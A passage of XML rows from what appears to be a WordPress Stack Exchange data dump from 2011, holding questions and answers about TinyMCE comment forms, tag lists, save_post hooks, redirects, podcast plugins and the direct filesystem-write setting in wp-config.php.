  <row Id="16264" PostTypeId="2" ParentId="16138" CreationDate="2011-05-03T18:31:55.250" Score="1" ViewCount="" Body="&lt;p&gt;Maybe somebody can grab this and run with it....It's a mostly (I think) finished slop of code from various places. I would credit if I remebered where parts came from....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// COMMENT FIELD EXPERIMENT&#xA;// LOADS REQUIRED FILES FOR TINYMCE ON FRONTEND&#xA;function voodoo_load_scripts() {&#xA;    // scripts (and styles) for media uploads&#xA;    add_thickbox();&#xA;    $media_upload_js = &quot;/wp-admin/js/media-upload.js&quot;;&#xA;    wp_enqueue_script( 'media-upload', get_bloginfo('wpurl') . $media_upload_js, array( 'thickbox' ), filemtime( ABSPATH . $media_upload_js ) );&#xA;&#xA;    // utils depdency for tinymce&#xA;    $utils_js = &quot;/wp-admin/js/utils.js&quot;;&#xA;    wp_enqueue_script( 'utils', get_bloginfo('wpurl') . $utils_js, array( ), filemtime( ABSPATH . $utils_js ) );&#xA;}&#xA;&#xA;&#xA;function voodoo_tinymce_config($initArray) {&#xA;    $initArray['theme_advanced_resize_horizontal'] = false;&#xA;    $initArray['theme_advanced_path'] = false;&#xA;    return $initArray;&#xA;}&#xA;&#xA;add_filter('tiny_mce_before_init', 'voodoo_tinymce_config');&#xA;&#xA;// LOADS UP TINYMCE&#xA;function voodoo_load_tinymce() {&#xA;    require_once( ABSPATH . &quot;wp-admin/includes/post.php&quot; );&#xA;    wp_tiny_mce();&#xA;}&#xA;&#xA;add_action( 'wp_head', 'voodoo_load_tinymce' );&#xA;&#xA;//BUILDS A LIST OF ALLOWED TAGS&#xA;function voodoo_allowed_tags() {&#xA;    global $allowedposttags, $allowedtags;&#xA;&#xA;    if ( ! defined( 'CUSTOM_TAGS' ) )&#xA;        define( 'CUSTOM_TAGS', true );&#xA;&#xA;    $allowedposttags = array(&#xA;        'strong' =&amp;gt; array(),&#xA;        'em' =&amp;gt; array(),&#xA;        'u' =&amp;gt; array(),&#xA;        'span' =&amp;gt; array(&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        's' =&amp;gt; array(),&#xA;        'p' =&amp;gt; array(&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'address' =&amp;gt; array(),&#xA;        'pre' =&amp;gt; array(&#xA;            'style' =&amp;gt; array(),&#xA;        ),&#xA;        'h1' =&amp;gt; array(&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h2' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h3' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h4' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h5' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h6' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'ul' =&amp;gt; array(),&#xA;        'ol' =&amp;gt; array(),&#xA;        'li' =&amp;gt; array(),&#xA;        'blockquote' =&amp;gt; array(&#xA;            'id' =&amp;gt; array (),&#xA;            'cite' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array(),&#xA;        ),&#xA;        'a' =&amp;gt; array(&#xA;            'href' =&amp;gt; array(),&#xA;            'title' =&amp;gt; array(),&#xA;            'name' =&amp;gt; array(),&#xA;            'target' =&amp;gt; array(),&#xA;        ),&#xA;        'img' =&amp;gt; array(&#xA;            'class' =&amp;gt; array(),&#xA;            'style' =&amp;gt; array(),&#xA;            'src' =&amp;gt; array(),&#xA;            'alt' =&amp;gt; array(),&#xA;            'width' =&amp;gt; array(),&#xA;            'height' =&amp;gt; array(),&#xA;        ),&#xA;        'sup' =&amp;gt; array(),&#xA;        'sub' =&amp;gt; array(),&#xA;        'br' =&amp;gt; array (&#xA;            'class' =&amp;gt; array()&#xA;        )&#xA;    );&#xA;&#xA;    $allowedtags = array(&#xA;        'strong' =&amp;gt; array(),&#xA;        'em' =&amp;gt; array(),&#xA;        'u' =&amp;gt; array(),&#xA;        'span' =&amp;gt; array(&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        's' =&amp;gt; array(),&#xA;        'p' =&amp;gt; array(&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'address' =&amp;gt; array(),&#xA;        'pre' =&amp;gt; array(&#xA;            'style' =&amp;gt; array(),&#xA;        ),&#xA;        'h1' =&amp;gt; array(&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h2' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h3' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h4' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h5' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'h6' =&amp;gt; array (&#xA;            'align' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array (),&#xA;            'id'    =&amp;gt; array (),&#xA;            'style' =&amp;gt; array (),&#xA;        ),&#xA;        'ul' =&amp;gt; array(),&#xA;        'ol' =&amp;gt; array(),&#xA;        'li' =&amp;gt; array(),&#xA;        'blockquote' =&amp;gt; array(&#xA;            'id' =&amp;gt; array (),&#xA;            'cite' =&amp;gt; array (),&#xA;            'class' =&amp;gt; array(),&#xA;        ),&#xA;        'a' =&amp;gt; array(&#xA;            'href' =&amp;gt; array(),&#xA;            'title' =&amp;gt; array(),&#xA;            'name' =&amp;gt; array(),&#xA;            'target' =&amp;gt; array(),&#xA;        ),&#xA;        'img' =&amp;gt; array(&#xA;            'class' =&amp;gt; array(),&#xA;            'style' =&amp;gt; array(),&#xA;            'src' =&amp;gt; array(),&#xA;            'alt' =&amp;gt; array(),&#xA;            'width' =&amp;gt; array(),&#xA;            'height' =&amp;gt; array(),&#xA;        ),&#xA;        'sup' =&amp;gt; array(),&#xA;        'sub' =&amp;gt; array(),&#xA;        'br' =&amp;gt; array (&#xA;            'class' =&amp;gt; array()&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;add_action( 'init', 'voodoo_load_scripts' );&#xA;add_action( 'init', 'voodoo_allowed_tags' );&#xA;&#xA;//PUT IT IN OUR FORM&#xA;&#xA;add_filter( 'comment_form_defaults', 'voodoo_comment_form_defaults' );&#xA;&#xA;function voodoo_comment_form_defaults( $defaults ) {&#xA;&#xA;    $defaults['comment_field'] = '&amp;lt;p class=&quot;comment-form-comment&quot;&amp;gt;&amp;lt;label for=&quot;comment&quot;&amp;gt;' . _x( 'Comment', 'twentyten' ) . '&amp;lt;/label&amp;gt;&amp;lt;textarea class=&quot;theEditor&quot; id=&quot;comment&quot; name=&quot;comment&quot; cols=&quot;45&quot; rows=&quot;8&quot; aria-required=&quot;true&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;';&#xA;&#xA;    return $defaults;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here's what it do.  We load up all the crap we need for tinymce. But tinymce allows for html tags which WP doesn't allow from the front end. So we need to account for em. Then at the bottom we need to add the theEditor class to the comment form. Since I use commentform in my theme, I can hook into it. If you don't, you can add the class directly to the textarea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This adds the editor to the comment form. But the work isn't done. It looks like crap, and I got bored working with it. Maybe someone can make it look nice, I dunno if it's just css conflicts or what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, all the html tags we allow now get listed under the comment form in the allowed tags section. Probably best to hide them completely, that info isn't needed anyway if you get the tinymce working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It still needs work, and only works as is when logged in..... so if you can find a plugin, that may be the way to go I'd say&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-05-03T18:37:33.297" LastActivityDate="2011-05-03T18:37:33.297" />
  <row Id="16265" PostTypeId="2" ParentId="16263" CreationDate="2011-05-03T18:55:08.867" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;wp_list_categories()&lt;/code&gt; to output an unordered list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_list_categories( array('taxonomy' =&amp;gt; 'product_tag') );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-03T18:55:08.867" CommentCount="1" />
  <row Id="16266" PostTypeId="2" ParentId="16263" CreationDate="2011-05-03T18:56:44.667" Score="2" ViewCount="" Body="&lt;p&gt;I use this for tag display on an archive page. its a ul, with each tag in an li. You'll see that 21 in the code. That is for only displaying tags with more than 21 posts assigned. You can change that number as you like.... If you have a lot of tags, it helps keep the riff raff out&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;h6&amp;gt;&amp;lt;?php _e( 'Popular Tags', 'voodoo_lion' ); ?&amp;gt;&amp;lt;/h6&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    $tags = get_tags();&#xA;                    foreach ($tags as $tag){&#xA;                        if ($tag-&amp;gt;count &amp;lt; 21) continue;&#xA;                        $tag_link = get_tag_link($tag-&amp;gt;term_id);&#xA;                        $html .= &quot;&amp;lt;li&amp;gt;&amp;lt;a href='{$tag_link}/' title='{$tag-&amp;gt;name} Tag' &amp;gt;{$tag-&amp;gt;name}&amp;lt;/a&amp;gt;($tag-&amp;gt;count)&amp;lt;/li&amp;gt;&quot;;&#xA;                    }&#xA;                    echo $html;&#xA;                    ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-05-03T20:19:37.310" LastActivityDate="2011-05-03T20:19:37.310" CommentCount="8" />
  <row Id="16267" PostTypeId="2" ParentId="14169" CreationDate="2011-05-03T18:58:51.860" Score="1" ViewCount="" Body="&lt;p&gt;Since nothing is being done with the return value, returning the post ID is pointless and should not be done. It only provides room for confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just tried it out, the following &lt;code&gt;save_post&lt;/code&gt; action works fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_save_post($post_id)&#xA;{&#xA;    // Stop WP from clearing custom fields on autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE)&#xA;        return;&#xA;&#xA;    // Prevent quick edit from clearing custom fields&#xA;    if (defined('DOING_AJAX') &amp;amp;&amp;amp; DOING_AJAX)&#xA;        return;&#xA;&#xA;    // Sanitize, validate and save ...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-03T18:58:51.860" />
  <row Id="16268" PostTypeId="2" ParentId="16260" CreationDate="2011-05-03T19:19:06.297" Score="1" ViewCount="" Body="&lt;p&gt;Where are you trying to do the force redirect? I think the best place for this may be in a &lt;code&gt;.htaccess&lt;/code&gt; file. Something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} !^www.your_domain.com$&#xA;RewriteRule ^(.*)$ http://www.your_domain.com/$1 [R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-05-03T19:19:06.297" CommentCount="4" />
  <row Id="16269" PostTypeId="2" ParentId="16255" CreationDate="2011-05-03T19:28:07.820" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Types#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;Custom post types&lt;/a&gt; are your friend. Just make a post type for each podcast and then post the episodes to that post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears there are also many plugins that my come in handy. I did a quick &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=podcast&quot; rel=&quot;nofollow&quot;&gt;search for PodCast&lt;/a&gt; and got several promising results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as themes. The possibilities are pretty much endless you can &lt;a href=&quot;http://wordpress.org/extend/themes/commercial/&quot; rel=&quot;nofollow&quot;&gt;buy a pro theme&lt;/a&gt;, &lt;a href=&quot;http://themehybrid.com/archives/2009/01/skeleton-wordpress-theme&quot; rel=&quot;nofollow&quot;&gt;modify an existing theme&lt;/a&gt;, or &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;start from scratch&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many routes to go and many solutions. As it stands you're question is too open ended for me to give you an exact direction to go. &lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-05-03T19:28:07.820" />
  <row Id="16271" PostTypeId="1" AcceptedAnswerId="16279" CreationDate="2011-05-03T20:10:20.907" Score="1" ViewCount="251" Body="&lt;p&gt;Here is what i'm having problems with... I want to link a youtube video to start playing in a lightbox/fancybox when a person clicks an image. Kind of like this site has - &lt;a href=&quot;http://www.adroll.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.adroll.com/&lt;/a&gt; - if you click the &quot;Click to Play&quot; (which is an image) a window will open (although not lightbox/fancybox) and video will start autoplaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would preferably want to do it with the least possible programing needed. I can do some basic editing but don't really know how to write any PHP/javascript&lt;/p&gt;&#xA;" OwnerUserId="4402" LastActivityDate="2011-05-03T20:52:59.560" Title="Linking an image to open a youtube video in lightbox/fancybox in wordpress" Tags="&lt;plugins&gt;&lt;videos&gt;" AnswerCount="1" />
  <row Id="16272" PostTypeId="2" ParentId="16209" CreationDate="2011-05-03T20:17:12.073" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;get_children()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = get_children( array( &#xA;     'post_parent' =&amp;gt; $post-&amp;gt;ID, &#xA;     'post_type' =&amp;gt; 'attachment', &#xA;     'post_mime_type' =&amp;gt; 'image', &#xA;     'orderby' =&amp;gt; 'menu_order', &#xA;     'order' =&amp;gt; 'ASC' &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first image will be &lt;code&gt;$images[0]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And by &quot;first image&quot;, I mean, the &lt;code&gt;$ID&lt;/code&gt; of the first image, which you can use with any of the myriad image- and attachment-handling functions in WordPress. If you can clarify what you want to &lt;em&gt;do with the image&lt;/em&gt;, I can provide more specific, further instruction.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-03T20:42:56.740" LastActivityDate="2011-05-03T20:42:56.740" CommentCount="1" />
  <row Id="16273" PostTypeId="1" CreationDate="2011-05-03T20:24:36.200" Score="1" ViewCount="72" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tools/&quot; rel=&quot;nofollow&quot;&gt;Twitter Tools&lt;/a&gt;, which allows me to auto-tweet my blog posts. Thats great, but I would also like a button to allow readers to easily tweet them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;--- What I am talking about is exactly like the little Twitter button next to this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add something like that to my blog posts?&lt;/p&gt;&#xA;" OwnerUserId="3689" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T12:39:21.390" LastActivityDate="2011-05-04T15:51:44.183" Title="Let users share posts via Twitter?" Tags="&lt;plugin-recommendation&gt;&lt;twitter&gt;" AnswerCount="3" />
  <row Id="16274" PostTypeId="2" ParentId="16255" CreationDate="2011-05-03T20:37:14.067" Score="0" ViewCount="" Body="&lt;p&gt;Is it possible to just use categories to divvy up your podcasts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, then check out &lt;a href=&quot;http://wordpress.org/extend/plugins/powerpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/powerpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its the plugin i ise for podcasts, it allows category casting, essentiall individual feeds per category assigned&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-03T20:37:14.067" />
  <row Id="16275" PostTypeId="2" ParentId="16255" CreationDate="2011-05-03T20:37:15.120" Score="2" ViewCount="" Body="&lt;p&gt;Any Theme will do, for the most part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply install the &lt;a href=&quot;http://wordpress.org/extend/plugins/powerpress/&quot; rel=&quot;nofollow&quot;&gt;Blubrry PowerPress Plugin&lt;/a&gt; or the &lt;a href=&quot;http://wordpress.org/extend/plugins/podpress/&quot; rel=&quot;nofollow&quot;&gt;podPress Plugin&lt;/a&gt;, and away you go!&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-03T20:37:15.120" />
  <row Id="16276" PostTypeId="2" ParentId="16273" CreationDate="2011-05-03T20:38:16.280" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-twitter-connect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is my personal fave for all things tweet related&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it does auto post, and can add a tweet button for ya, and a buncha other tings&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-03T20:38:16.280" />
  <row Id="16277" PostTypeId="1" CreationDate="2011-05-03T20:43:01.520" Score="0" ViewCount="171" Body="&lt;p&gt;I use my wordpress blog for research... When I write about something, the firs thing I do is research of what's already out there on given topic. What I want to do is to be able to copy paste parts of the web pages for reference... If the page is only text... that's grand. But If the page contains pictures, I can't copy that image to my research blog easily... is there a plugin which would allow me to copy parts of webpages (with pictures) into my blog - same as I was using microsoft word for note taking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Actually I need something which will enable me to use my wordpress as evernote... I want to store content on my blog and be able to access it later... Easily&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditorDisplayName="" LastEditDate="2011-09-04T11:13:30.693" LastActivityDate="2011-09-04T11:13:30.693" Title="How to copy/paste web content with photos into my blog" Tags="&lt;text&gt;&lt;pictures&gt;" AnswerCount="3" />
  <row Id="16278" PostTypeId="1" AcceptedAnswerId="16281" CreationDate="2011-05-03T20:48:55.257" Score="0" ViewCount="125" Body="&lt;p&gt;I got this error message when I was installing a plugin: &quot;Unable to locate WordPress Content directory (wp-content)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a solution here: http://&lt;a href=&quot;http://wordpress.org/support/topic/cannot-find-content-directory-wp-content&quot; rel=&quot;nofollow&quot;&gt;wordpress.org/support/topic/cannot-find-content-directory-wp-content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They suggested adding the following code to the wp-config.php file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_admin()) {&#xA;    add_filter('filesystem_method', create_function('$a', 'return &quot;direct&quot;;' ));&#xA;    define( 'FS_CHMOD_DIR', 0751 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This solution worked for me. My questions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) What does this code do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) If I run into the same error on the production server is it safe to use this code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-05-03T21:25:54.233" Title="What Does this Code Snippet Do?" Tags="&lt;wp-config&gt;" AnswerCount="2" />
  <row Id="16279" PostTypeId="2" ParentId="16271" CreationDate="2011-05-03T20:52:59.560" Score="1" ViewCount="" Body="&lt;p&gt;Follow Tip #4: &lt;a href=&quot;http://fancybox.net/blog&quot; rel=&quot;nofollow&quot;&gt;http://fancybox.net/blog&lt;/a&gt;.  or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/easy-fancybox/&quot; rel=&quot;nofollow&quot;&gt;Easy FancyBox&lt;/a&gt; for my wordpress sites. In the WP Admin, under Settings &gt; Media you can edit the settings for Fancybox and it has a way to autodetect Youtube embeds.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-05-03T20:52:59.560" CommentCount="1" />
  <row Id="16280" PostTypeId="1" CreationDate="2011-05-03T21:07:51.497" Score="0" ViewCount="88" Body="&lt;p&gt;I'm trying to add footers to the end of my posts. I need to be able to assign different footers to different posts (not globally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-post-footer/&quot; rel=&quot;nofollow&quot;&gt;WP Post Footer&lt;/a&gt;, but it's not working on WP 3.1.2.&lt;/p&gt;&#xA;" OwnerUserId="5085" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T14:23:57.977" LastActivityDate="2011-05-04T14:23:57.977" Title="Adding footers to posts?" Tags="&lt;posts&gt;&lt;footer&gt;&lt;plugin-wp-post-footer&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="16281" PostTypeId="2" ParentId="16278" CreationDate="2011-05-03T21:13:10.050" Score="2" ViewCount="" Body="&lt;p&gt;The first part (&lt;code&gt;add_filter()&lt;/code&gt;) tells WordPress to use the direct-write method. The second part (&lt;code&gt;define()&lt;/code&gt;) tells WordPress to apply &lt;code&gt;0751&lt;/code&gt; permissions to any directory it creates. &lt;a href=&quot;http://www.viper007bond.com/2009/05/07/wordpress-how-to-force-direct-filewrites-for-upgrades/&quot; rel=&quot;nofollow&quot;&gt;More information here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would &lt;strong&gt;not consider using the Direct Write method to be safe&lt;/strong&gt; to use in a live, public, shared-hosting environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it might not - and in fact probably won't - work in a shared-hosting environment.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-03T21:13:10.050" CommentCount="1" />
  <row Id="16282" PostTypeId="2" ParentId="16280" CreationDate="2011-05-03T21:20:53.320" Score="0" ViewCount="" Body="&lt;p&gt;Anything you add, &lt;em&gt;inside the Loop&lt;/em&gt;, but &lt;em&gt;after&lt;/em&gt; the call to either &lt;code&gt;the_content()&lt;/code&gt; or &lt;code&gt;the_excerpt()&lt;/code&gt;, will, in essence, be a Post &quot;footer&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&#xA;     &amp;lt;div class=&quot;post-header&quot;&amp;gt;&#xA;          &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;div class=&quot;post-entry&quot;&amp;gt;&#xA;          &amp;lt;?php the_content(); ?&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&#xA;     &amp;lt;div class=&quot;post-header&quot;&amp;gt;&#xA;          &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;div class=&quot;post-entry&quot;&amp;gt;&#xA;          &amp;lt;?php the_content(); ?&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;div class=&quot;post-footer&quot;&amp;gt;&#xA;          &amp;lt;p&amp;gt;Hello! I'm a Post Footer!&amp;lt;/p&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To give specific instruction, we'll need to know what Theme you're using.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-03T21:20:53.320" />
  <row Id="16283" PostTypeId="2" ParentId="16280" CreationDate="2011-05-03T21:23:27.693" Score="0" ViewCount="" Body="&lt;p&gt;Someone may have a more elegant solution, but if you're comfortable editing some of the template files, you can copy your footer.php and rename to footer-alt.php or whatever suits you. Make the changes you need, and in the template file you're using for the specific post-type, replace &lt;code&gt;&amp;lt;?php get_footer(); ?&amp;gt;&lt;/code&gt; with &lt;code&gt;&amp;lt;?php include(&quot;footer-alt.php&quot;); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you keep the div and class names the same, you should not have any issues with the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="5087" LastActivityDate="2011-05-03T21:23:27.693" CommentCount="3" />
  <row Id="16284" PostTypeId="2" ParentId="16277" CreationDate="2011-05-03T21:25:23.910" Score="2" ViewCount="" Body="&lt;p&gt;Hot-linking images is bad form, which means that you need to attach images to your post. So, copy/paste really won't work. You just need to save the image, and then upload it to you post.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-03T21:25:23.910" CommentCount="1" />
  <row Id="16285" PostTypeId="2" ParentId="16278" CreationDate="2011-05-03T21:25:54.233" Score="1" ViewCount="" Body="&lt;p&gt;I agree this is a bad idea.Though the permission itself might not be an issue the method is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;751 is a file system permissions (chmod), it means:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User: read/write/execute&lt;br&gt;&#xA;Group: read/execute&lt;br&gt;&#xA;All: execute  &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-03T21:25:54.233" CommentCount="1" />
  <row Id="16286" PostTypeId="1" AcceptedAnswerId="16290" CreationDate="2011-05-03T21:30:45.780" Score="0" ViewCount="84" Body="&lt;p&gt;I'm using More Fields plugin, and when I use my functions.php to embed the custom field, I get an odd issue. The field value is followed by a &quot;1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Address&#xA;add_action( 'woo_post_inside_before', 'my_address' );&#xA;function my_address() {&#xA;    global $post;&#xA;if ( is_single() &amp;amp;&amp;amp; in_category('listings') ) { &#xA;        echo more_fields('address', '&amp;lt;h1&amp;gt;','&amp;lt;/h1&amp;gt;');&#xA;       }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if I use the following code - their is no &quot;1&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Address&#xA;add_action( 'woo_post_inside_before', 'my_address' );&#xA;function my_address() 